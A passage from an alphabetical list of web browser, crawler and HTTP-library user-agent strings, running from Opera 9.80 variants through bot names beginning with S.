Version/11.52\nOpera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52\nOpera/9.80 (Macintosh; Intel Mac OS X; Opera Mobi/27; U; en) Presto/2.4.18 Version/10.00\nOpera/9.80 (Macintosh; Intel Mac OS X; Opera Mobi/3730; U; en) Presto/2.4.18 Version/10.00\nOpera/9.80 (Macintosh; Intel Mac OS X; U; de) Presto/2.2.15 Version/10.00\nOpera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.15 Version/10.00\nOpera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.6.30 Version/10.61\nOpera/9.80 (Macintosh; Intel Mac OS X; U; nl) Presto/2.6.30 Version/10.61\nOpera/9.80 (S60; SymbOS; Opera Mobi/1181; U; en-GB) Presto/2.5.28 Version/10.1\nOpera/9.80 (S60; SymbOS; Opera Mobi/1209; U; fr) Presto/2.5.28 Version/10.1\nOpera/9.80 (S60; SymbOS; Opera Mobi/1209; U; sk) Presto/2.5.28 Version/10.1\nOpera/9.80 (S60; SymbOS; Opera Mobi/447; U; en) Presto/2.4.18 Version/10.00\nOpera/9.80 (S60; SymbOS; Opera Mobi/498; U; sv) Presto/2.4.18 Version/10.00\nOpera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.00\nOpera/9.80 (S60; SymbOS; Opera Mobi/SYB-1103211396; U; es-LA) Presto/2.7.81 Version/11.00\nOpera/9.80 (S60; SymbOS; Opera Mobi/SYB-1104061449; U; da) Presto/2.7.81 Version/11.00\nOpera/9.80 (S60; SymbOS; Opera Mobi/SYB-1107071606; U; en) Presto/2.8.149 Version/11.10\nOpera/9.80 (S60; SymbOS; Opera Tablet/9174; U; en) Presto/2.7.81 Version/10.5\nOpera/9.80 (Series 60; Opera Mini/1.0.30710/29.3594; U; en) Presto/2.8.119 Version/11.10\nOpera/9.80 (Series 60; Opera Mini/5.1.22396/22.478; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (Series 60; Opera Mini/5.1.22783/22.478; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (Series 60; Opera Mini/5.1.22783/22.478; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (Series 60; Opera Mini/5.1.22783/23.334; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (Series 60; Opera Mini/5.1.22784/22.387; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (Series 60; Opera Mini/5.1.22784/22.394; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (Series 60; Opera Mini/5.1.22784/23.334; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (Series 60; Opera Mini/6.0.24095/24.741; U; zh) Presto/2.5.25 Version/10.54\nOpera/9.80 (Series 60; Opera Mini/6.0.24095/24.760; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (Series 60; Opera Mini/6.0.24455/28.2766; U; en) Presto/2.8.119 Version/11.10\nOpera/9.80 (Series 60; Opera Mini/6.1.25759/25.872; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (Series 60; Opera Mini/6.24096/25.657; U; id) Presto/2.5.25 Version/10.54\nOpera/9.80 (Series 60; Opera Mini/6.5.29702/28.2647; U; es) Presto/2.8.119 Version/11.10\nOpera/9.80 (Series 60; Opera Mini/7.1.32444/35.2883; U; ru) Presto/2.8.119 Version/11.10\nOpera/9.80 (Series 60; Opera Mini/7.1.32444/35.5706; U; en) Presto/2.8.119 Version/11.10\nOpera/9.80 (Windows 98; U; de) Presto/2.6.30 Version/10.61\nOpera/9.80 (Windows ME; U; en) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows Mobile; Opera Mini/5.1.21594/22.387; U; ru) Presto/2.5.25 Version/10.54\nOpera/9.80 (Windows Mobile; Opera Mini/5.1.21595/25.657; U; en) Presto/2.5.25 Version/10.54\nOpera/9.80 (Windows Mobile; WCE; Opera Mobi/49; U; en) Presto/2.4.18 Version/10.00\nOpera/9.80 (Windows NT 5.0; U; en) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 5.1; Opera Mobi/49; U; en) Presto/2.4.18 Version/10.00\nOpera/9.80 (Windows NT 5.1; U; MRA 5.5 (build 02842); ru) Presto/2.7.62 Version/11.00\nOpera/9.80 (Windows NT 5.1; U; MRA 5.6 (build 03278); ru) Presto/2.6.30 Version/10.63\nOpera/9.80 (Windows NT 5.1; U; Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.18635/1030; U; en) Presto/2.4.15; ru) Presto/2.8.99 Version/11.10\nOpera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.10\nOpera/9.80 (Windows NT 5.1; U; cs) Presto/2.7.62 Version/11.01\nOpera/9.80 (Windows NT 5.1; U; de) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 5.1; U; de) Presto/2.2.15 Version/10.10\nOpera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 5.1; U; en) Presto/2.9.168 Version/11.51\nOpera/9.80 (Windows NT 5.1; U; en-GB) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 5.1; U; es-ES) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 5.1; U; es-LA) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 5.1; U; it) Presto/2.7.62 Version/11.00\nOpera/9.80 (Windows NT 5.1; U; lt) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 5.1; U; nn) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 5.1; U; pl) Presto/2.6.30 Version/10.62\nOpera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.22 Version/10.50\nOpera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00\nOpera/9.80 (Windows NT 5.1; U; sk) Presto/2.5.22 Version/10.50\nOpera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00\nOpera/9.80 (Windows NT 5.1; U; zh-tw) Presto/2.8.131 Version/11.10\nOpera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01\nOpera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.10\nOpera/9.80 (Windows NT 5.2; U; en) Presto/2.6.30 Version/10.63\nOpera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51\nOpera/9.80 (Windows NT 5.2; U; ru) Presto/2.6.30 Version/10.61\nOpera/9.80 (Windows NT 5.2; U; ru) Presto/2.7.62 Version/11.01\nOpera/9.80 (Windows NT 5.2; U; zh-cn) Presto/2.6.30 Version/10.63\nOpera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14\nOpera/9.80 (Windows NT 6.0; Opera Mobi/49; U; en) Presto/2.4.18 Version/10.00\nOpera/9.80 (Windows NT 6.0; U; Gecko/20100115; pl) Presto/2.2.15 Version/10.10\nOpera/9.80 (Windows NT 6.0; U; cs) Presto/2.5.22 Version/10.51\nOpera/9.80 (Windows NT 6.0; U; de) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.10\nOpera/9.80 (Windows NT 6.0; U; en) Presto/2.7.39 Version/11.00\nOpera/9.80 (Windows NT 6.0; U; en) Presto/2.8.99 Version/11.10\nOpera/9.80 (Windows NT 6.0; U; it) Presto/2.6.30 Version/10.61\nOpera/9.80 (Windows NT 6.0; U; nl) Presto/2.6.30 Version/10.60\nOpera/9.80 (Windows NT 6.0; U; pl) Presto/2.10.229 Version/11.62\nOpera/9.80 (Windows NT 6.0; U; pl) Presto/2.7.62 Version/11.01\nOpera/9.80 (Windows NT 6.0; U; zh-cn) Presto/2.5.22 Version/10.50\nOpera/9.80 (Windows NT 6.1 x64; U; en) Presto/2.7.62 Version/11.00\nOpera/9.80 (Windows NT 6.1; Opera Mobi/49; U; en) Presto/2.4.18 Version/10.00\nOpera/9.80 (Windows NT 6.1; Opera Tablet/15165; U; en) Presto/2.8.149 Version/11.1\nOpera/9.80 (Windows NT 6.1; U; cs) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 6.1; U; cs) Presto/2.7.62 Version/11.01\nOpera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.10\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.5.22 Version/10.51\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.61\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.7.62 Version/11.01\nOpera/9.80 (Windows NT 6.1; U; en-GB) Presto/2.7.62 Version/11.00\nOpera/9.80 (Windows NT 6.1; U; en-US) Presto/2.7.62 Version/11.01\nOpera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00\nOpera/9.80 (Windows NT 6.1; U; fi) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 6.1; U; fi) Presto/2.7.62 Version/11.00\nOpera/9.80 (Windows NT 6.1; U; fr) Presto/2.5.24 Version/10.52\nOpera/9.80 (Windows NT 6.1; U; ja) Presto/2.5.22 Version/10.50\nOpera/9.80 (Windows NT 6.1; U; ko) Presto/2.7.62 Version/11.00\nOpera/9.80 (Windows NT 6.1; U; pl) Presto/2.6.31 Version/10.70\nOpera/9.80 (Windows NT 6.1; U; pl) Presto/2.7.62 Version/11.00\nOpera/9.80 (Windows NT 6.1; U; sk) Presto/2.6.22 Version/10.50\nOpera/9.80 (Windows NT 6.1; U; sv) Presto/2.7.62 Version/11.01\nOpera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.2.15 Version/10.00\nOpera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.5.22 Version/10.50\nOpera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.30 Version/10.61\nOpera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.37 Version/11.00\nOpera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.7.62 Version/11.01\nOpera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.5.22 Version/10.50\nOpera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01\nOpera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.16\nOpera/9.80 (Windows NT 6.1; WOW64; U; pt) Presto/2.10.229 Version/11.62\nOpera/9.80 (X11; FreeBSD 8.1-RELEASE i386; Edition Next) Presto/2.12.388 Version/12.10\nOpera/9.80 (X11; Linux i686) Presto/2.12.388 Version/12.16\nOpera/9.80 (X11; Linux i686; U; Debian; pl) Presto/2.2.15 Version/10.00\nOpera/9.80 (X11; Linux i686; U; de) Presto/2.2.15 Version/10.00\nOpera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.00\nOpera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.10\nOpera/9.80 (X11; Linux i686; U; en) Presto/2.5.27 Version/10.60\nOpera/9.80 (X11; Linux i686; U; en-GB) Presto/2.2.15 Version/10.00\nOpera/9.80 (X11; Linux i686; U; en-GB) Presto/2.5.24 Version/10.53\nOpera/9.80 (X11; Linux i686; U; es-ES) Presto/2.6.30 Version/10.61\nOpera/9.80 (X11; Linux i686; U; es-ES) Presto/2.8.131 Version/11.11\nOpera/9.80 (X11; Linux i686; U; fr) Presto/2.7.62 Version/11.01\nOpera/9.80 (X11; Linux i686; U; hu) Presto/2.9.168 Version/11.50\nOpera/9.80 (X11; Linux i686; U; it) Presto/2.5.24 Version/10.54\nOpera/9.80 (X11; Linux i686; U; it) Presto/2.7.62 Version/11.00\nOpera/9.80 (X11; Linux i686; U; ja) Presto/2.7.62 Version/11.01\nOpera/9.80 (X11; Linux i686; U; nb) Presto/2.2.15 Version/10.00\nOpera/9.80 (X11; Linux i686; U; pl) Presto/2.2.15 Version/10.00\nOpera/9.80 (X11; Linux i686; U; pl) Presto/2.6.30 Version/10.61\nOpera/9.80 (X11; Linux i686; U; pt-BR) Presto/2.2.15 Version/10.00\nOpera/9.80 (X11; Linux i686; U; ru) Presto/2.2.15 Version/10.00\nOpera/9.80 (X11; Linux i686; U; ru) Presto/2.8.131 Version/11.11\nOpera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16\nOpera/9.80 (X11; Linux x86_64; U; Ubuntu/10.10 (maverick); pl) Presto/2.7.62 Version/11.01\nOpera/9.80 (X11; Linux x86_64; U; bg) Presto/2.8.131 Version/11.10\nOpera/9.80 (X11; Linux x86_64; U; de) Presto/2.2.15 Version/10.00\nOpera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00\nOpera/9.80 (X11; Linux x86_64; U; en-GB) Presto/2.2.15 Version/10.01\nOpera/9.80 (X11; Linux x86_64; U; fr) Presto/2.9.168 Version/11.50\nOpera/9.80 (X11; Linux x86_64; U; it) Presto/2.2.15 Version/10.10\nOpera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00\nOpera/9.80 (X11; U; Linux i686; en-US; rv:1.9.2.3) Presto/2.2.15 Version/10.10\nOpera/9.80 (iPad; Opera Mini/7.1.32694/27.1407; U; en) Presto/2.8.119 Version/11.10\nOpera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; en) Presto/2.4.154.15\nOpera/9.80 (iPhone; Opera Mini/5.0.019802/18.738; U; en) Presto/2.4.15\nOpera/9.80 (iPhone; Opera Mini/5.0.019802/22.414; U; de) Presto/2.5.25 Version/10.54\nOpera/9.80 (iPhone; Opera Mini/5.0.019802/886; U; en) Presto/2.4.15\nOpera/9.80 (iPhone; Opera Mini/5.0.019802/886; U; ja) Presto/2.4.15\nOpera/9.80 (iPhone; Opera Mini/7.0.4/28.2555; U; fr) Presto/2.8.119 Version/11.10\nOpera/9.80 (iPhone; Opera Mini/7.1.32694/27.1407; U; en) Presto/2.8.119 Version/11.10\nOpera/9.80(J2ME/MIDP; Opera Mini/5.1.21214/22.414; U; en) Presto/2.5.25 Version/10.54\nOpera/9.99 (Windows NT 5.1; U; pl) Presto/9.9.9\nOpera/9.99 (X11; U; sk)\nOpidooBOT (larbin2.6.3@unspecified.mail)\nOracle Application Server Web Cache 10g\nOracle Ultra Search\nOracle iMTCrawler\nOrangeSpider\nOrbiter (+http://www.dailyorbit.com/bot.htm)\nOrbiter/T-2.0 (+http://www.dailyorbit.com/bot.htm)\nOrca Browser (http://www.orcabrowser.com)\nOutfoxBot/0.x (For internet experiments; http://; outfox.agent@gmail.com)\nOutfoxMelonBot/0.5 (for internet experiments; http://; outfoxbot@gmail.com)\nOverture-WebCrawler/3.8/Fresh (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)\nP3P Validator\nPADLibrary Spider\nPBrowse 1.4b\nPEAR HTTP_Request class ( http://pear.php.net/ )\nPEERbot www.peerbot.com\nPEval 1.4b\nPHP/3.x.xx\nPHP/4.0.4pl1\nPHP/4.0.6\nPHP/4.1.1\nPHP/4.1.2\nPHP/5.2.10\nPHP/5.2.11\nPHP/5.2.14\nPHP/5.2.8\nPHP/5.2.9\nPJspider/3.0 (pjspider@portaljuice.com; http://www.portaljuice.com)\nPOE-Component-Client-HTTP/0.64 (perl; N; POE; en; rv:0.640000)\nPOLARIS/6.01 (BREW 3.1.5; U; en-us; LG; LX265; POLARIS/6.01/WAP) MMP/2.0 profile/MIDP-2.1 Configuration/CLDC-1.1\nPOLARIS/6.01(BREW 3.1.5;U;en-us;LG;LX265;POLARIS/6.01/WAP;)MMP/2.0 profile/MIDP-201 Configuration /CLDC-1.1\nPRCrawler/Nutch-0.9 (data mining development project; crawler@projectrialto.com)\nPROve AnswerBot 4.0\nPSP (PlayStation Portable); 2.00\nPSurf15a 11\nPSurf15a 51\nPSurf15a VA\nPWeBot/1.2 Inspector (http://www.programacionweb.net/robot.php)\nPageBitesHyperBot/600 (http://www.pagebites.com/)\nPagebull http://www.pagebull.com/\nPagestacker Bot\nPagmIEDownload\nParaSite/1.0b (http://www.ianett.com/parasite/)\nPatwebbot (http://www.herz-power.de/technik.html)\nPeach/1.01 (Ubuntu 8.04 LTS; U; en)\nPeopleChat/Search_Engine\nPicoSearch/1.0\nPiffany_Web_Scraper_v0.x\nPiffany_Web_Spider_v0.x\nPigeonBot1.0 BETA\nPingALink Monitoring Services 1.0\nPingALink Monitoring Services 1.0 (http://www.pingalink.com)\nPingdom GIGRIB (http://www.pingdom.com)\nPita\nPizilla++ ver 2.45\nPlagger/0.x.xx (http://plagger.org/)\nPlagiarBot/1.0\nPlantyNet_WebRobot_V1.9 dhkang@plantynet.com\nPloetz + Zeller (http://www.ploetz-zeller.de) Link Validator v1.0 (support@p-und-z.de) for ARIS Business Architect\nPluckFeedCrawler/2.0 (compatible; Mozilla 4.0; MSIE 5.5; http://www.pluck.com; 1 subscribers)\nPluggd/Nutch-0.9 (automated crawler http://www.pluggd.com;support at pluggd dot com)\nPockey-GetHTML/4.12.0 (Win32; GUI; ix86)\nPockey-GetHTML/x.xx\nPockey/x.x.x\nPockey7.x.x(WIN32GUI)\nPoirot\nPompos/1.1 http://pompos.iliad.fr\nPompos/1.2 http://pompos.iliad.fr\nPompos/1.3 http://dir.com/pompos.html\nPompos/1.x http://dir.com/pompos.html\nPompos/1.x pompos@iliad.fr\nPopdexter/1.0\nPort Huron Labs\nPortalBSpider/2.0 (spider@portalb.com)\nPostFavorites\nPostPost/1.0 (+http://postpo.st/crawlers)\nPrivacyFinder Cache Bot v1.0\nPrivacyFinder/1.1\nPrivoxy/3.0 (Anonymous)\nProWebGuide Link Checker (http://www.prowebguide.com)\nProduction Bot 0116B\nProduction Bot 2016B\nProduction Bot DOT 3016B\nProgram Shareware 1.0.2\nProgressive Download\nProgressive Download HTTP check\nProject XP5 [2.03.07-111203]\nPubCrawl (pubcrawl.stanford.edu)\nPureSight\nPuxaRapido v1.0\nPycURL\nPycURL/7.13.2\nPycURL/7.15.5\nPycURL/7.16.4\nPycURL/7.18.0\nPycURL/7.18.2\nPycURL/7.19.0\nPycURL/7.19.3\nPycURL/7.19.5\nPycURL/7.19.7\nPycURL/7.23.1\nPycURL/7.xx.x\nPython-urllib/1.15\nPython-urllib/1.16\nPython-urllib/1.17\nPython-urllib/1.1x\nPython-urllib/2.0a1\nPython-urllib/2.1\nPython-urllib/2.4\nPython-urllib/2.5\nPython-urllib/2.6\nPython-urllib/2.7\nPython-urllib/3.0\nPython-urllib/3.1\nQEAVis Agent/Nutch-0.9 (Quantitative Evaluation of Academic Websites Visibility; http://nlp.uned.es/qeavis\nQPCreep Test Rig ( We are not indexing- just testing )\nQango.com Web Directory (http://www.qango.com/)\nQseero v1.0.0\nQuepasaCreep ( crawler@quepasacorp.com )\nQuepasaCreep v0.9.1x\nQueryN Metasearch\nQuickTime\\xaa.7.0.4 (qtver=7.0.4;cpu=PPC;os=Mac 10.3.9)\nQuicksilver (Blacktree,MacOSX)\nQweeryBot/3.01 ( http://qweerybot.qweery.nl)\nQweery_robot.txt_CheckBot/3.01 (http://qweerybot.qweery.com)\nR6_CommentReader_(www.radian6.com/crawler)\nR6_FeedFetcher_(www.radian6.com/crawler)\nRAMPyBot - www.giveRAMP.com/0.1 (RAMPyBot - www.giveRAMP.com; http://www.giveramp.com/bot.html; support@giveRAMP.com)\nRAMPyBot/0.8-dev (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)\nRAYSPIDER/Nutch-0.9\nREAP-crawler Nutch/Nutch-1.0-dev (Reap Project; http://reap.cs.cmu.edu/REAP-crawler/; Reap Project)\nREBOL Core 2.x.x.x.x\nREBOL View 1.x.x.x.x\nREL Link Checker Lite 1.0\nREL Link Checker Lite x.x\nRMA/1.0 (compatible; RealMedia)\nRPT-HTTPClient/0.3-x\nRRC (crawler_admin@bigfoot.com)\nRSSMicro.com RSS/Atom Feed Robot\nRSSOwl/1.2.3 2006-11-26 (Windows; U; zhtw)\nRSSOwl/1.2.4 Preview Release 2007-04-15 (Windows; U; zhtw)\nRSurf15a 41\nRSurf15a 51\nRSurf15a 81\nRX Bar\nRaBot/1.0 Agent-admin/phortse@hanmail.net\nRainbot1.1\nRank Exec (rankexec.com) Reciprocal Link Manager 1.x/bot\nRankivabot/3.2 (www.rankiva.com; 3.2; vzmxikn)\nRational SiteCheck (Windows NT)\nReadABlog Spider (compatible; 1.1; feed update; www.readablog.com)\nRealDownload/4.0.0.4x\nReaper [2.03.10-031204] (http://www.sitesearch.ca/reaper/)\nReaper/2.0x (+http://www.sitesearch.ca/reaper)\nRebusnetBot (+http://www.rebusnet.biz)\nRebusnetPADBot/1.5x (+http://www.rebusnet.biz)\nRedBot/redbot-1.0 (Rediff.com Crawler; redbot at rediff dot com)\nRedCarpet/1.2 (http://www.redcarpet-inc.com/robots.html)\nRedCell/0.1 (InfoSec Search Bot (Coming Soon); http://www.telegenetic.net/bot.html; lhall@telegenetic.net)\nRedCell/0.1 (RedCell; telegenetic.net/bot.html; lhall_at_telegenetic.net)\nRedKernel WWW-Spider 2/0 (+http://www-spider.redkernel-softwares.com/)\nRepoMonkey Bait & Tackle/v1.01\nRewebber/1.2 libwww-perl/5.41\nRixBot (http://babelserver.org/rix)\nRoboCrawl (http://www.canadiancontent.net)\nRoboCrawl (www.canadiancontent.net)\nRoboPal (http://www.findpal.com/)\nRobot/www.pj-search.com\nRobot: NutchCrawler- Owner: wdavies@acm.org\nRobot@SuperSnooper.Com\nRobozilla/1.0\nRoku/DVP-4.1 (024.01E01250A)\nRome Client (http://tinyurl.com/64t5n) Ver: 0.9\nRotondo/3.1 libwww/5.3.1\nRssBandit/1.5.0.10 (.NET CLR 1.1.4322.2407; WinNT 5.1.2600.0; http://www.rssbandit.org) (.NET CLR 1.1.4322.2407; WinNT 5.1.2600.0; )\nRssReader/1.0.xx.x (http://www.rssreader.com) Microsoft Windows NT 5.1.2600.0\nRubbot/1.0 (+http://rubhub.com/)\nRufusBot (Rufus Web Miner; http://64.124.122.252/feedback.html)\nRufusBot (Rufus Web Miner; http://www.webaroo.com/rooSiteOwners.html)\nRumours-Agent\nS&L Spider (http://search.hirners.com/)\nS.T.A.L.K.E.R. (http://www.seo-tools.net/en/bot.aspx)\nSAMSUNG-C5212/C5212XDIK1 NetFront/3.4 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSAMSUNG-S8000/S8000XXIF3 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 FirePHP/0.3\nSAMSUNG-SGH-A867/A867UCHJ3 SHP/VPP/R5 NetFront/35 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0\nSAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1;  http://www.google.com/bot.html)\nSBIder/0.7 (SBIder; http://www.sitesell.com/sbider.html; http://support.sitesell.com/contact-support.html)\nSBIder/0.8-dev (SBIder; http://www.sitesell.com/sbider.html; http://support.sitesell.com/contact-support.html)\nSBL-BOT (http://sbl.net)\nSEC-SGHE900/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1378; nl; U; ssr)\nSEC-SGHX210/1.0 UP.Link/6.3.1.13.0\nSEC-SGHX820/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1\nSQ Webscanner\nSSurf15a 11\nSURF\nSWB/V1.4 (HP)\nSWSBot-Images/1.2 http://www.smartwaresoft.com/swsbot12.html\nSafariBookmarkChecker (+http://www.coriolis.ch/)\nSamsungI8910/SymbianOS/9.1 Series60/3.0\nSandCrawler - Compatibility Testing\nSapphireWebCrawler/1.0 (Sapphire Web Crawler using Nutch; http://boston.lti.cs.cmu.edu/crawler/; mhoy@cs.cmu.edu)\nSapphireWebCrawler/Nutch-1.0-dev (Sapphire Web Crawler using Nutch; http://boston.lti.cs.cmu.edu/crawler/; mhoy@cs.cmu.edu)\nScanWeb\nScholarUniverse/0.8 (Nutch;+http://scholaruniverse.com/bot.jsp; fetch-agent@scholaruniverse.com)\nScience Traveller International 1X/1.0\nScollSpider/2.0 (+http://www.webwobot.com/ScollSpider.php)\nScooter-3.0.EU\nScooter-3.0.FS\nScooter-3.0.HD\nScooter-3.0.VNS\nScooter-3.0QI\nScooter-3.2\nScooter-3.2.BT\nScooter-3.2.DIL\nScooter-3.2.EX\nScooter-3.2.JT\nScooter-3.2.NIV\nScooter-3.2.SF0\nScooter-3.2.snippet\nScooter-3.3dev\nScooter-ARS-1.1\nScooter-ARS-1.1-ih\nScooter-W3-1.0\nScooter-W3.1.2\nScooter/1.0\nScooter/1.0 scooter@pa.dec.com\nScooter/1.1 (custom)\nScooter/2.0 G.R.A.B. V1.1.0\nScooter/2.0 G.R.A.B. X2.0\nScooter/3.3\nScooter/3.3.QA.pczukor\nScooter/3.3.vscooter\nScooter/3.3_SF\nScooter2_Mercator_x-x.0\nScooter_bh0-3.0.3\nScooter_trk3-3.0.3\nScope (Mars+)\nScoutAbout\nScoutAnt/0.1; +http://www.ant.com/what_is_ant.com/\nScreaming Frog SEO Spider/8.1\nScrubby/2.1 (http://www.scrubtheweb.com/)\nScrubby/2.2 (http://www.scrubtheweb.com/)\nScrubby/2.x (http://www.scrubtheweb.com/)\nScrubby/3.0 (+http://www.scrubtheweb.com/help/technology.html)\nSeaMonkey\nSeamonkey\nSeamonkey-1.1.13-1(X11; U; GNU Fedora fc 10) Gecko/20081112\nSearch+\nSearch-Engine-Studio\nSearch/1.0 (http://www.innerprise.net/es-spider.asp)\nSearchByUsa/2 (SearchByUsa; http://www.SearchByUsa.com/bot.html; info@SearchByUsa.com)\nSearchExpress\nSearchExpress Spider0.99\nSearchGuild/DMOZ/Experiment (searchguild@gmail.com)\nSearchGuild_DMOZ_Experiment (chris@searchguild.com)\nSearchSight/2.0 (http://SearchSight.com/)\nSearchSpider.com/1.1\nSearchTone2.0 - IDEARE\nSearchdayBot\nSearchit-Now Robot/2.2 (+http://www.searchit-now.co.uk)\nSearchmee! Spider v0.98a\nSearchspider/1.2 (SearchSpider; http://www.searchspider.com; webmaster@searchspider.com)\nSeekbot/1.0 (http://www.seekbot.net/bot.html)\nSeekbot/1.0 (http://www.seekbot.net/bot.html) HTTPFetcher/0.3\nSeekbot/1.0 (http://www.seekbot.net/bot.html) HTTPFetcher/2.1\nSeekbot/1.0 (http://www.seekbot.net/bot.html) RobotsTxtFetcher/1.0 (XDF)\nSeekbot/1.0 (http://www.seekbot.net/bot.html) RobotsTxtFetcher/1.2\nSeeker.lookseek.com\nSemager/1.1 (http://www.semager.de/blog/semager-bots/)\nSemager/1.x (http://www.semager.de)\nSensis Web Crawler (search_comments\\at\\sensis\\dot\\com\\dot\\au)\nSensis.com.au Web Crawler (search_comments\\at\\sensis\\dot\\com\\dot\\au)\nSeznamBot/1.0\nSeznamBot/1.0 (+http://fulltext.seznam.cz/)\nSeznamBot/2.0 (+http://fulltext.sblog.cz/robot/)\nSeznamBot/2.0 (+http://fulltext.seznam.cz/)\nSeznamBot/2.0-test (+http://fulltext.sblog.cz/)\nShablastBot 1.0\nShareaza v1.x.x.xx\nSharewarePlazaFileCheckBot/1.0+(+http://www.SharewarePlaza.com)\nShim Crawler\nShim-Crawler\nShim-Crawler(Mozilla-compatible; http://www.logos.ic.i.u-tokyo.ac.jp/crawler/; crawl@logos.ic.i.u-tokyo.ac.jp)\nShopWiki/1.0 ( +http://www.shopwiki.com/)\nShopWiki/1.0 ( +http://www.shopwiki.com/wiki/Help:Bot)\nShoula.com Crawler 2.0\nSietsCrawler/1.1 (+http://www.siets.biz)\nSigram/Nutch-1.0-dev (Test agent for Nutch development; http://www.sigram.com/bot.html; bot at sigram dot com)\nSiigle Orumcex v.001 Turkey (http://www.siigle.com)\nSilk/1.0\nSimpleFavPanel/1.2\nSimpy 1.x; http://www.simpy.com/\nSimpy/1.x (Simpy; http://www.simpy.com/?ref=bot; feedback at simpy dot com)\nSirketcebot/v.01 (http://www.sirketce.com/bot.html)\nSiteBar/3.3.5 (Bookmark Server; http://sitebar.org/)\nSiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)\nSiteBar/3.x.x (Bookmark Server; http://sitebar.org/)\nSiteBar/x.x\nSiteBar/x.x.x (Bookmark Server; http://sitebar.org/)\nSiteRecon+(xx)\nSiteSnagger\nSiteSpider +(http://www.SiteSpider.com/)\nSiteSucker/1.x.x\nSiteTaggerBot (http://www.sitetagger.com/bot.htm)\nSiteTruth.com site rating system\nSiteWinder\nSiteXpert\nSkampy/0.9.x (http://www.skaffe.com/skampy-info.html)\nSkimpy/0.x (http://www.skaffe.com/skampy-info.html)\nSkywalker/0.1 (Skywalker; anonymous; anonymous)\nSlarp/0.1\nSleipnir\nSleipnir Version 1.xx\nSleipnir Version2.x\nSleipnir/2.xx\nSlider_Search_v1-de\nSlimBrowser\nSlurp/2.0 (slurp@inktomi.com; http://www.inktomi.com/slurp.html)\nSlurp/2.0-KiteWeekly (slurp@inktomi.com; 